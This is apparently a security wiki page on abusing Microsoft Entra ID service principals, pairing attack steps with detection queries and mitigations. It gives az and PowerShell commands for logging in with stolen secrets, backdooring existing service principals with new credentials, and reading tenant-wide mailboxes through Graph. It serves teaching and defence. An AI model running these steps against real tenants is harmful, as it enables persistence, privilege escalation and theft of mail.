Skip to main content

Service Principal Abuse

ATT&CK: T1098.001 — Additional Cloud Credentials, T1078.004 — Cloud Accounts

Service principals (SPs) are non-human identities in Entra ID representing applications. They are often over-privileged, have long-lived credentials, and receive less monitoring attention than user accounts — making them prime targets for persistence and lateral movement in cloud environments.


Key Concepts

TermDescription
App RegistrationThe application definition in Entra ID — tenant-global or multi-tenant
Service PrincipalInstance of an app registration in a specific tenant; the actual identity
Client SecretPassword-equivalent credential for the SP (stored as appSecret)
CertificateX.509 cert-based authentication for SP (stronger than client secret)
App RolePermission assigned to SP by an admin (admin consent)
OAuth scopeDelegated permission granted to SP on behalf of a user
Managed IdentitySystem-assigned or user-assigned SP without explicit credentials (separate page)

Why Service Principals Are Targets

  1. No MFA — SPs authenticate with credentials (secrets/certs), not interactive MFA
  2. Over-privileged — DevOps pipelines, automation, legacy apps accumulate permissions
  3. Long-lived secrets — Secrets often set to 1-2 year expiry or never expire
  4. Less monitored — Alerts tuned for user accounts often miss SP anomalies
  5. Multi-tenant blast radius — A compromised multi-tenant SP can be used across all tenants where it is consented

Attack Vectors

1. Client Secret / Certificate Theft

If SP credentials are stored in:

  • Environment variables (CI/CD pipelines)
  • Code repositories (hardcoded)
  • Key vaults (if accessible)
  • Application configuration files
# Using stolen client secret with az cli
az login --service-principal -u <appId> -p <client-secret> --tenant <tenantId>

# Or with client certificate
az login --service-principal -u <appId> --certificate /path/to/cert.pem --tenant <tenantId>

2. Illicit App Registration → New SP

An attacker with sufficient Entra ID permissions creates a new app registration:

# Create new app + SP with chosen permissions
az ad app create --display-name "LegitLookingApp" --sign-in-audience AzureADMyOrg
az ad sp create --id <appId>

# Add client secret
az ad app credential reset --id <appId> --append

# Request admin consent for high-privilege roles
# (requires tricking an admin — see illicit-consent-grant.md)

3. Adding Credentials to Existing SP

If an attacker has Application.ReadWrite.All or AppRoleAssignment.ReadWrite.All:

# Add a new client secret to any existing SP
$sp = Get-MgServicePrincipal -Filter "displayName eq 'TargetApp'"
Add-MgServicePrincipalPassword -ServicePrincipalId $sp.Id -PasswordCredential @{
DisplayName = "NotSuspicious"
EndDateTime = (Get-Date).AddYears(2)
}
# This gives the attacker credentials to authenticate as TargetApp

This is a common persistence technique: backdoor a legitimate, highly-privileged SP.

4. App Role Assignment to Compromised SP

# Grant Mail.ReadWrite to a controlled SP (requires admin consent or admin compromise)
# Then use it to read all mailboxes:
$token = Get-AccessToken -ClientId $appId -ClientSecret $secret -TenantId $tenant -Scope "https://graph.microsoft.com/.default"
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/{userId}/messages" -Headers @{Authorization="Bearer $token"}

High-Value SP Permissions

PermissionWhat It Enables
Directory.ReadWrite.AllRead and write entire directory — near-DA in the cloud
RoleManagement.ReadWrite.DirectoryAssign Entra ID roles — full Global Admin compromise
Mail.ReadWrite (application)Read all email in the tenant without user consent
Sites.ReadWrite.AllAccess all SharePoint sites
User.ReadWrite.AllModify any user account — password reset, MFA bypass
Application.ReadWrite.AllAdd credentials to any SP — persistence vector
AppRoleAssignment.ReadWrite.AllGrant/revoke app roles — privilege escalation

Persistence via SP

An attacker with appropriate rights can:

  1. Create a new app registration with high-privilege roles
  2. Add a client secret they control
  3. Delete the app after the attack? No — typically kept for re-entry
  4. The SP survives password resets on user accounts

This makes SP-based persistence difficult to evict: defenders must identify and remove the SP, not just reset passwords.


Detection

Entra ID Audit Logs

// New credentials added to service principals
AuditLogs
| where OperationName in ("Add password credentials for application", "Add key credentials for application")
| where InitiatedBy.user.displayName !contains "expected-automation-account"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// New high-privilege app role assignments
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend AppRole = TargetResources[0].modifiedProperties
| where AppRole has_any ("Directory.ReadWrite", "Mail.ReadWrite", "RoleManagement")
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// SP sign-ins from unexpected locations or using new credentials
AADServicePrincipalSignInLogs
| where TimeGenerated > ago(24h)
| summarize SigninCount = count() by ServicePrincipalId, IPAddress
| where SigninCount < 3 // New IP for this SP
| join kind=inner (
AADServicePrincipalSignInLogs | summarize FirstSeen = min(TimeGenerated) by ServicePrincipalId, IPAddress
) on ServicePrincipalId, IPAddress
| where FirstSeen > ago(24h)

Mitigation

ControlEffect
Inventory all SPs and their permissionsFind over-privileged SPs
Set short expiry on client secrets (90 days max)Limit persistence window
Prefer managed identities over explicit credentialsEliminates credential theft angle
Restrict Application.ReadWrite.All grantLimit who can backdoor existing SPs
Enable SP sign-in risk detectionEntra ID Protection covers some SP anomalies
Regular access certification for SP permissionsIGA discipline applied to NHIs

TopicLink
Managed Identity Abusemanaged-identity-abuse
Illicit Consent Grantillicit-consent-grant
Entra ID Overviewentra-overview
OAuth 2.0oauth2
IGA Overviewiga-overview